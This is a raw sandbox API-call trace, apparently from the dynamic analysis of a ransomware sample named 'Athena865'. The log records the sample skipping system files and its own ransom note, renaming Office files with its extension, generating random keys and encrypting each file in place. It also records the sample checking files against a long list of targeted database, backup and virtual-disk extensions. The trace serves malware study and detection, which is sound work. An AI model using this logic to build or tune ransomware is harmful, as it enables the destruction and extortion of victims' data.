1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="temp") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="pagefile.sys") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="boot") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="ids.txt") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="ntuser.dat") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="perflogs") returned 1 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2="MSBuild") returned 1 [0149.674] lstrlenW (lpString="Xlate_Init.xsn") returned 14 [0149.674] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Xlate_Init.xsn" | out: lpString1="Xlate_Init.xsn") returned="Xlate_Init.xsn" [0149.674] lstrlenW (lpString="Xlate_Init.xsn") returned 14 [0149.674] lstrlenW (lpString="Athena865") returned 9 [0149.674] lstrcmpiW (lpString1="_Init.xsn", lpString2="Athena865") returned -1 [0149.674] lstrlenW (lpString=".dll") returned 4 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2=".dll") returned 1 [0149.674] lstrlenW (lpString=".lnk") returned 4 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2=".lnk") returned 1 [0149.674] lstrlenW (lpString=".ini") returned 4 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2=".ini") returned 1 [0149.674] lstrlenW (lpString=".sys") returned 4 [0149.674] lstrcmpiW (lpString1="Xlate_Init.xsn", lpString2=".sys") returned 1 [0149.675] lstrlenW (lpString="Xlate_Init.xsn") returned 14 [0149.675] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn.Athena865") returned 72 [0149.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn.athena865"), dwFlags=0x1) returned 1 [0149.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.676] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11627) returned 1 [0149.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.677] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.678] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.678] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.678] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3070, lpName=0x0) returned 0x17c [0149.679] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3070) returned 0x100000 [0149.680] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.681] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.681] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.682] CloseHandle (hObject=0x17c) returned 1 [0149.682] CloseHandle (hObject=0x154) returned 1 [0149.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.682] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dd9100, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x44dd9100, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x240d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.DLL", cAlternateFileName="")) returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2=".") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="..") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="windows") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="bootmgr") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="temp") returned 1 [0149.682] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="pagefile.sys") returned 1 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="boot") returned 1 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="ids.txt") returned 1 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="ntuser.dat") returned 1 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="perflogs") returned 1 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2="MSBuild") returned 1 [0149.683] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0149.683] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLINTL32.DLL" | out: lpString1="XLINTL32.DLL") returned="XLINTL32.DLL" [0149.683] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0149.683] lstrlenW (lpString="Athena865") returned 9 [0149.683] lstrcmpiW (lpString1="NTL32.DLL", lpString2="Athena865") returned 1 [0149.683] lstrlenW (lpString=".dll") returned 4 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2=".dll") returned 1 [0149.683] lstrlenW (lpString=".lnk") returned 4 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2=".lnk") returned 1 [0149.683] lstrlenW (lpString=".ini") returned 4 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2=".ini") returned 1 [0149.683] lstrlenW (lpString=".sys") returned 4 [0149.683] lstrcmpiW (lpString1="XLINTL32.DLL", lpString2=".sys") returned 1 [0149.683] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0149.683] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.Athena865") returned 70 [0149.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.athena865"), dwFlags=0x1) returned 1 [0149.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.686] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2362752) returned 1 [0149.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.686] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.687] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.687] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.687] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x241080, lpName=0x0) returned 0x17c [0149.688] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x41080) returned 0x2bb0000 [0149.704] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2c00000 [0149.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.810] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.810] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.811] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0149.813] CloseHandle (hObject=0x17c) returned 1 [0149.813] CloseHandle (hObject=0x154) returned 1 [0149.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.822] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427b3700, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x427b3700, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x18380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.DLL.IDX_DLL", cAlternateFileName="XLINTL~1.IDX")) returned 1 [0149.822] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.822] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.822] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2=".") returned 1 [0149.822] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="..") returned 1 [0149.822] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="windows") returned 1 [0149.822] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="temp") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="pagefile.sys") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="boot") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="perflogs") returned 1 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0149.823] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0149.823] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLINTL32.DLL.IDX_DLL" | out: lpString1="XLINTL32.DLL.IDX_DLL") returned="XLINTL32.DLL.IDX_DLL" [0149.823] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0149.823] lstrlenW (lpString="Athena865") returned 9 [0149.823] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0149.823] lstrlenW (lpString=".dll") returned 4 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2=".dll") returned 1 [0149.823] lstrlenW (lpString=".lnk") returned 4 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0149.823] lstrlenW (lpString=".ini") returned 4 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2=".ini") returned 1 [0149.823] lstrlenW (lpString=".sys") returned 4 [0149.823] lstrcmpiW (lpString1="XLINTL32.DLL.IDX_DLL", lpString2=".sys") returned 1 [0149.823] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0149.823] lstrlenW (lpString="bak") returned 3 [0149.823] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0149.823] lstrlenW (lpString="ba_") returned 3 [0149.823] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0149.823] lstrlenW (lpString="dbb") returned 3 [0149.823] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0149.823] lstrlenW (lpString="vmdk") returned 4 [0149.824] lstrcmpiW (lpString1="_DLL", lpString2="vmdk") returned -1 [0149.824] lstrlenW (lpString="rar") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0149.824] lstrlenW (lpString="zip") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0149.824] lstrlenW (lpString="tgz") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0149.824] lstrlenW (lpString="vbox") returned 4 [0149.824] lstrcmpiW (lpString1="_DLL", lpString2="vbox") returned -1 [0149.824] lstrlenW (lpString="vdi") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0149.824] lstrlenW (lpString="vhd") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0149.824] lstrlenW (lpString="vhdx") returned 4 [0149.824] lstrcmpiW (lpString1="_DLL", lpString2="vhdx") returned -1 [0149.824] lstrlenW (lpString="avhd") returned 4 [0149.824] lstrcmpiW (lpString1="_DLL", lpString2="avhd") returned -1 [0149.824] lstrlenW (lpString="db") returned 2 [0149.824] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0149.824] lstrlenW (lpString="db2") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0149.824] lstrlenW (lpString="db3") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0149.824] lstrlenW (lpString="dbf") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0149.824] lstrlenW (lpString="mdf") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0149.824] lstrlenW (lpString="mdb") returned 3 [0149.824] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0149.825] lstrlenW (lpString="sql") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0149.825] lstrlenW (lpString="sqlite") returned 6 [0149.825] lstrcmpiW (lpString1="DX_DLL", lpString2="sqlite") returned -1 [0149.825] lstrlenW (lpString="sqlite3") returned 7 [0149.825] lstrcmpiW (lpString1="IDX_DLL", lpString2="sqlite3") returned -1 [0149.825] lstrlenW (lpString="sqlitedb") returned 8 [0149.825] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sqlitedb") returned -1 [0149.825] lstrlenW (lpString="xml") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0149.825] lstrlenW (lpString="$er") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0149.825] lstrlenW (lpString="4dd") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0149.825] lstrlenW (lpString="4dl") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0149.825] lstrlenW (lpString="^^^") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0149.825] lstrlenW (lpString="abs") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0149.825] lstrlenW (lpString="abx") returned 3 [0149.825] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0149.825] lstrlenW (lpString="accdb") returned 5 [0149.825] lstrcmpiW (lpString1="X_DLL", lpString2="accdb") returned 1 [0149.825] lstrlenW (lpString="accdc") returned 5 [0149.825] lstrcmpiW (lpString1="X_DLL", lpString2="accdc") returned 1 [0149.825] lstrlenW (lpString="accde") returned 5 [0149.825] lstrcmpiW (lpString1="X_DLL", lpString2="accde") returned 1 [0149.826] lstrlenW (lpString="accdr") returned 5 [0149.826] lstrcmpiW (lpString1="X_DLL", lpString2="accdr") returned 1 [0149.826] lstrlenW (lpString="accdt") returned 5 [0149.826] lstrcmpiW (lpString1="X_DLL", lpString2="accdt") returned 1 [0149.826] lstrlenW (lpString="accdw") returned 5 [0149.826] lstrcmpiW (lpString1="X_DLL", lpString2="accdw") returned 1 [0149.826] lstrlenW (lpString="accft") returned 5 [0149.826] lstrcmpiW (lpString1="X_DLL", lpString2="accft") returned 1 [0149.826] lstrlenW (lpString="adb") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.826] lstrlenW (lpString="adb") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.826] lstrlenW (lpString="ade") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0149.826] lstrlenW (lpString="adf") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0149.826] lstrlenW (lpString="adn") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0149.826] lstrlenW (lpString="adp") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0149.826] lstrlenW (lpString="alf") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0149.826] lstrlenW (lpString="ask") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0149.826] lstrlenW (lpString="btr") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0149.826] lstrlenW (lpString="cat") returned 3 [0149.826] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0149.827] lstrlenW (lpString="cdb") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0149.827] lstrlenW (lpString="ckp") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0149.827] lstrlenW (lpString="cma") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0149.827] lstrlenW (lpString="cpd") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0149.827] lstrlenW (lpString="dacpac") returned 6 [0149.827] lstrcmpiW (lpString1="DX_DLL", lpString2="dacpac") returned 1 [0149.827] lstrlenW (lpString="dad") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0149.827] lstrlenW (lpString="dadiagrams") returned 10 [0149.827] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="dadiagrams") returned 1 [0149.827] lstrlenW (lpString="daschema") returned 8 [0149.827] lstrcmpiW (lpString1=".IDX_DLL", lpString2="daschema") returned -1 [0149.827] lstrlenW (lpString="db-journal") returned 10 [0149.827] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="db-journal") returned 1 [0149.827] lstrlenW (lpString="db-shm") returned 6 [0149.827] lstrcmpiW (lpString1="DX_DLL", lpString2="db-shm") returned 1 [0149.827] lstrlenW (lpString="db-wal") returned 6 [0149.827] lstrcmpiW (lpString1="DX_DLL", lpString2="db-wal") returned 1 [0149.827] lstrlenW (lpString="dbc") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0149.827] lstrlenW (lpString="dbs") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0149.827] lstrlenW (lpString="dbt") returned 3 [0149.827] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0149.828] lstrlenW (lpString="dbv") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0149.828] lstrlenW (lpString="dbx") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0149.828] lstrlenW (lpString="dcb") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0149.828] lstrlenW (lpString="dct") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0149.828] lstrlenW (lpString="dcx") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0149.828] lstrlenW (lpString="ddl") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0149.828] lstrlenW (lpString="dlis") returned 4 [0149.828] lstrcmpiW (lpString1="_DLL", lpString2="dlis") returned -1 [0149.828] lstrlenW (lpString="dp1") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0149.828] lstrlenW (lpString="dqy") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0149.828] lstrlenW (lpString="dsk") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0149.828] lstrlenW (lpString="dsn") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0149.828] lstrlenW (lpString="dtsx") returned 4 [0149.828] lstrcmpiW (lpString1="_DLL", lpString2="dtsx") returned -1 [0149.828] lstrlenW (lpString="dxl") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0149.828] lstrlenW (lpString="eco") returned 3 [0149.828] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0149.828] lstrlenW (lpString="ecx") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0149.829] lstrlenW (lpString="edb") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0149.829] lstrlenW (lpString="epim") returned 4 [0149.829] lstrcmpiW (lpString1="_DLL", lpString2="epim") returned -1 [0149.829] lstrlenW (lpString="fcd") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0149.829] lstrlenW (lpString="fdb") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0149.829] lstrlenW (lpString="fic") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0149.829] lstrlenW (lpString="flexolibrary") returned 12 [0149.829] lstrcmpiW (lpString1=".DLL.IDX_DLL", lpString2="flexolibrary") returned -1 [0149.829] lstrlenW (lpString="fm5") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0149.829] lstrlenW (lpString="fmp") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0149.829] lstrlenW (lpString="fmp12") returned 5 [0149.829] lstrcmpiW (lpString1="X_DLL", lpString2="fmp12") returned 1 [0149.829] lstrlenW (lpString="fmpsl") returned 5 [0149.829] lstrcmpiW (lpString1="X_DLL", lpString2="fmpsl") returned 1 [0149.829] lstrlenW (lpString="fol") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0149.829] lstrlenW (lpString="fp3") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0149.829] lstrlenW (lpString="fp4") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0149.829] lstrlenW (lpString="fp5") returned 3 [0149.829] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0149.830] lstrlenW (lpString="fp7") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0149.830] lstrlenW (lpString="fpt") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0149.830] lstrlenW (lpString="frm") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0149.830] lstrlenW (lpString="gdb") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0149.830] lstrlenW (lpString="gdb") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0149.830] lstrlenW (lpString="grdb") returned 4 [0149.830] lstrcmpiW (lpString1="_DLL", lpString2="grdb") returned -1 [0149.830] lstrlenW (lpString="gwi") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0149.830] lstrlenW (lpString="hdb") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0149.830] lstrlenW (lpString="his") returned 3 [0149.830] lstrcmpiW 